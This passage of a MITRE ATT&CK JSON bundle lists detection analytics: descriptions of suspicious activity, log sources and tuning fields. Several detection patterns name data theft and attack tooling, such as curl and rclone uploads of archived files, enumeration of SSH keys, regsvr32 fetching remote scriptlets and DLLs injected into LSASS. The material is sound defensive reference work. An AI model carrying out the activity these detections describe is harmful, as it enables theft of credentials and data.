                    "description": "Minimum data size (e.g., >500KB) to trigger alerts for suspicious uploads."
                },
                {
                    "field": "UserContext",
                    "description": "User accounts with legitimate business justification for posting to text storage sites."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4ea80ec4-bfcc-4bd6-b986-aa2c9fe2d8d6",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0032#AN0091",
                    "external_id": "AN0091"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0091",
            "description": "Suspicious use of attrib.exe or PowerShell commands to set hidden attributes on files/directories. Defender view: processes modifying file attributes to 'hidden' or creating files with ADS (alternate data streams).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MonitoredExtensions",
                    "description": "Filter hidden file detection by sensitive file extensions (.exe, .dll, .bat)."
                },
                {
                    "field": "ADSMonitoring",
                    "description": "Enable detection of alternate data streams depending on organizational usage."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4eaeffc2-bdfa-427c-a009-daadee39457d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0337#AN0953",
                    "external_id": "AN0953"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0953",
            "description": "Defenders can detect suspicious reversion of cloud compute instances by monitoring for unusual snapshot restores, rollback actions, or ephemeral storage resets that occur outside expected administrative workflows. From a defender\u2019s perspective, relevant detection chains include: a snapshot restore triggered by a new or rarely used account, a sequence of snapshot creation immediately followed by a restore and instance start, or rollbacks performed from anomalous geographic or network locations. These patterns may indicate attempts to remove forensic evidence or re-establish a clean execution state for persistence.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--45d0ff14-b9c4-41f5-8603-156657c20b75",
                    "name": "AWS:CloudTrail",
                    "channel": "RevertSnapshot"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f",
                    "name": "AWS:CloudTrail",
                    "channel": "StartInstances"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f",
                    "name": "AWS:CloudTrail",
                    "channel": "StopInstances"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "UserContext",
                    "description": "Identity of the user or service account performing rollback actions; tuned to exclude automation or approved workflows."
                },
                {
                    "field": "TimeWindow",
                    "description": "Threshold for correlating snapshot creation followed by reversion within minutes; tuned to environment activity norms."
                },
                {
                    "field": "GeoLocation",
                    "description": "Region or source IP where the revert request originated; tuned to align with enterprise cloud geography."
                },
                {
                    "field": "ChangeTags",
                    "description": "Use of administrative tags or headers to distinguish legitimate restores from malicious activity."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4eca5ae6-797c-41cb-bacd-dc7a6da58fb0",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0484#AN1330",
                    "external_id": "AN1330"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1330",
            "description": "Internal user account accesses shared links outside org followed by mass file download",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1",
                    "name": "m365:sharepoint",
                    "channel": "AnonymousLinkCreated, FileDownloaded"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
                    "name": "azure:signinlogs",
                    "channel": "SigninSuccess"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "LinkVisibilityScope",
                    "description": "Whether links allow anonymous/external access"
                },
                {
                    "field": "DownloadBurstThreshold",
                    "description": "# of files downloaded within <5 mins (e.g., >50 files)"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4ecd8727-bcf3-4fce-8c04-e8d0bad1267e",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0268#AN0749",
                    "external_id": "AN0749"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0749",
            "description": "Detects malicious archiving via system or third-party libraries (libz, libarchive) invoked by Python, Swift, or Objective-C binaries. Correlates unified logs of library loads with creation of compressed or encrypted archives (.zip, .gz, .bz2, .dmg).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "Execution of Python, Swift, or other binaries invoking archiving libraries"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "macos:unifiedlog",
                    "channel": "Loading of libz.dylib, libarchive.dylib by non-standard applications"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "macos:unifiedlog",
                    "channel": "Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedProcesses",
                    "description": "Applications allowed to load compression libraries (e.g., backup agents)."
                },
                {
                    "field": "UserContext",
                    "description": "Flag archiving under privileged or system accounts as suspicious."
                },
                {
                    "field": "FileExtensionFilter",
                    "description": "Targeted monitoring of sensitive file formats or compressed containers."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4ef6c517-011e-4155-897f-e86cea5824b4",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0824#AN1956",
                    "external_id": "AN1956"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1956",
            "description": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) .",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e",
                    "name": "Internet Scan",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--4f132f21-1287-4fc2-a13e-d7770d856610",
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            "description": "Executables written or modified in installer directories (e.g., %TEMP% subdirectories or Program Files installer paths) followed by execution under elevated context. Defender observes abnormal file replacement activity, process creation by installer processes pointing to attacker-supplied binaries, and unexpected module loads in elevated processes.",
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                    "channel": "EventCode=15"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "channel": "EventCode=1"
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                {
                    "field": "MonitoredDirectories",
                    "description": "Specific writable directories to monitor (e.g., %TEMP%, C:\\ProgramData, installer unpack paths)."
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                {
                    "field": "HashBaseline",
                    "description": "Known good hashes of installer binaries to detect replacement."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation interval between file overwrite and execution event."
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                {
                    "field": "UserContext",
                    "description": "Differentiate expected admin-installer execution vs. anomalous user writes."
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            ],
            "x_mitre_deprecated": false
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                    "name": "WinEventLog:Security",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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                {
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                    "name": "WinEventLog:Application",
                    "channel": "Exchange logs or header artifacts"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
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                    "channel": "EventCode=3, 22"
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                    "field": "TimeWindow",
                    "description": "Defines correlation window across email rule creation and outbound SMTP."
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                    "field": "UserContext",
                    "description": "Filters for admin or service accounts to reduce false positives."
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                {
                    "field": "SMTPDomainList",
                    "description": "Allows tuning based on expected external email domains."
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            "description": "Detects DHCP spoofing by monitoring unified logs for unexpected DHCP ACK/OFFER parameters and correlating with packet captures for multiple DHCP servers. Behavioral emphasis is on inconsistent DNS and gateway assignments that redirect traffic.",
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                    "channel": "Multiple DHCP OFFER responses for a single DISCOVER"
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                    "field": "BaselineDNS",
                    "description": "Expected DNS server list; deviations may indicate spoofing."
                },
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                    "field": "AlertSensitivity",
                    "description": "Threshold for number of anomalous DHCP responses before alerting."
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            ],
            "x_mitre_deprecated": false
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            "description": "Detects tampering of IIS-based login pages (e.g., default.aspx, login.aspx) tied to VPN, OWA, or SharePoint via script injection or unexpected editor processes modifying web roots.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "Windows"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "WinEventLog:iis",
                    "channel": "IIS Logs"
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            ],
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                    "field": "FilePath",
                    "description": "Define path to monitored IIS web root (e.g., C:\\inetpub\\wwwroot\\login.aspx)"
                },
                {
                    "field": "ProcessName",
                    "description": "Exclude legitimate updates (e.g., msdeploy.exe) and alert on suspicious editors (e.g., notepad.exe, certutil.exe)"
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            ],
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0344#AN0973",
                    "external_id": "AN0973"
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            "name": "Analytic 0973",
            "description": "Detects abuse of fileless storage mechanisms such as Registry keys, WMI classes, and Event Logs used to stage payloads, scripts, or encoded content outside traditional files.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4657"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4",
                    "name": "WinEventLog:Application",
                    "channel": "WMI Object Creation Events"
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                {
                    "field": "RegistryPathFilter",
                    "description": "Scoped to suspicious or abused paths like HKCU\\Software\\Classes\\ or HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
                },
                {
                    "field": "PayloadEntropyThreshold",
                    "description": "Minimum entropy level to flag suspicious registry or WMI content as encoded payloads"
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal window for correlating WMI/registry modifications with process creation or network usage"
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            "x_mitre_deprecated": false
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                    "url": "https://attack.mitre.org/detectionstrategies/DET0380#AN1071",
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            "name": "Analytic 1071",
            "description": "Adversaries using bash scripts or tools to recursively enumerate user home directories, config files, or SSH keys.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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                "Linux"
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                    "name": "auditd:SYSCALL",
                    "channel": "open"
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                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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            "x_mitre_mutable_elements": [
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                    "field": "TimeWindow",
                    "description": "Time span to correlate multiple file access events indicative of scripted or bulk access."
                },
                {
                    "field": "ScriptToolName",
                    "description": "List of tools (e.g., `find`, `grep`, `tar`, `scp`) that may be benign but are context-sensitive."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0457"
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            "name": "Analytic 0457",
            "description": "Chain: (1) execution of `pwpolicy` or MDM/DirectoryService reads of account policies; (2) optional read of `/Library/Preferences/com.apple.loginwindow` or config profiles; (3) follow-on credential probing or lateral movement by same user/session. Use unified logs and process telemetry.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "pwpolicy|PasswordPolicy"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "exec /usr/bin/pwpolicy"
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                {
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                    "name": "macos:MDM",
                    "channel": "profiles -P|getaccountpolicies"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "MDMProfileIDs",
                    "description": "Approved profiles reading/updating auth policies."
                },
                {
                    "field": "AdminConsoleHosts",
                    "description": "Jamf or management hosts where queries are expected."
                }
            ],
            "x_mitre_deprecated": false
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            "name": "Analytic 0237",
            "description": "Detection of processes that load or decode encrypted/encoded files in memory and subsequently execute or inject them, indicating payload unpacking or memory-resident malware.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "channel": "EventCode=7"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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                    "field": "Image",
                    "description": "Path of decoder utilities (e.g., certutil.exe, powershell.exe) can vary across environments."
                },
                {
                    "field": "CommandLine",
                    "description": "Base64/hex strings used may change per encoded payload."
                },
                {
                    "field": "TimeWindow",
                    "description": "The duration between file decode and execution may differ across implementations."
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            "description": "Detect alterations of transmitted data via monitoring syscalls (`send`, `recv`, `write`) or middleware interception. Identify mismatched file hashes when compared at origin vs. destination. Watch for anomalous activity from processes interacting with secure transmission services (e.g., OpenSSL, scp).",
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            "x_mitre_domains": [
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                    "channel": "Integrity mismatch warnings or malformed packets detected"
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            ],
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                {
                    "field": "WatchedProcesses",
                    "description": "List of processes authorized to handle transmitted data (e.g., sshd, nginx)."
                },
                {
                    "field": "HashCheckInterval",
                    "description": "Frequency of out-of-band integrity verification checks."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0403",
            "description": "ESXi daemons (hostd, vpxa) unexpectedly using symmetric encryption routines for external connections. Defender identifies logs of service traffic with encrypted payloads inconsistent with VMware management baselines.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "esxi:vpxd",
                    "channel": "Symmetric crypto routines triggered for external session"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "esxcli:network",
                    "channel": "Socket sessions with randomized payloads inconsistent with TLS"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedMgmtHosts",
                    "description": "Baseline list of approved vCenter and update endpoints."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5012d2b2-bd36-431c-91d3-4c10b7d3a9d6",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0570#AN1572",
                    "external_id": "AN1572"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1572",
            "description": "Processes such as curl, wget, rclone, or custom scripts executing uploads to cloud storage endpoints. Defender perspective: detect chained events where tar/gzip is executed to compress files followed by HTTPS PUT/POST requests to known storage services.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:EXECVE",
                    "channel": "curl -T, rclone copy"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "read/open of sensitive file directories"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "large HTTPS outbound uploads"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedTools",
                    "description": "Known tools used legitimately for backups (rclone, gsutil). Deviations raise suspicion."
                },
                {
                    "field": "WorkHours",
                    "description": "Baseline normal data transfer hours to reduce false positives."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5028303d-22d6-490c-b053-015e877d5829",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0225#AN0629",
                    "external_id": "AN0629"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0629",
            "description": "Unauthorized creation or modification of DLLs loaded by LSASS, abnormal registry values under LSA extensions, and anomalous DLL load activity into the lsass.exe process context\u2014correlated during boot or logon events.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=3033"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=6"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=2"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=12"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=13, 14"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Correlate DLL file creation/modification with LSASS execution within a configurable timeframe (e.g., 5 min)"
                },
                {
                    "field": "ImagePathPattern",
                    "description": "Tune based on known legitimate LSASS plugin DLL paths"
                },
                {
                    "field": "SignatureValidation",
                    "description": "Flag unsigned DLLs loaded into lsass.exe or those signed by unexpected publishers"
                },
                {
                    "field": "RegistryKeyScope",
                    "description": "Scope to specific registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Authentication Packages"
                },
                {
                    "field": "FileHashAllowList",
                    "description": "Exclude known-good LSASS plugin DLLs based on cryptographic hash"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--50658b7e-57c5-4e31-b156-1b294574a9f2",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0282#AN0785",
                    "external_id": "AN0785"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0785",
            "description": "Detection focuses on identifying anomalous regsvr32.exe executions that deviate from normal administrative or system use. Defenders may observe regsvr32.exe loading scriptlets or DLLs from unusual paths (especially temporary directories or remote URLs), command-line arguments invoking /i or /u with suspicious file references, network connections initiated by regsvr32.exe, and unsigned or untrusted DLLs being loaded shortly after regsvr32.exe invocation. Correlated sequences include regsvr32.exe process creation, module load of DLL/scriptlet, and optional outbound network traffic.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedDLLPaths",
                    "description": "Directories where DLL loading via regsvr32.exe is expected (e.g., C:\\Windows\\System32)."
                },
                {
                    "field": "ScriptletExtensions",
                    "description": "File extensions considered suspicious when executed by regsvr32.exe (e.g., .sct, .ocx)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Timeframe to correlate regsvr32.exe process creation with subsequent module loads and network connections."
                },
                {
                    "field": "ParentProcessWhitelist",
                    "description": "Parent processes from which regsvr32.exe is expected (e.g., explorer.exe during legitimate COM object registration)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--51133710-7c09-4eb5-a0bc-6fc5338cd68d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0870#AN2002",
                    "external_id": "AN2002"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 2002",
            "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985",
                    "name": "Persona",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--51a23f35-4a11-4119-935a-1ffebcda2839",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0117#AN0324",
                    "external_id": "AN0324"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0324",
            "description": "Creation or modification of Windows services or scheduled tasks with names or descriptions mimicking legitimate entries, followed by anomalous execution of untrusted binaries or LOLBAS.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7045"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4698"
                },
                {
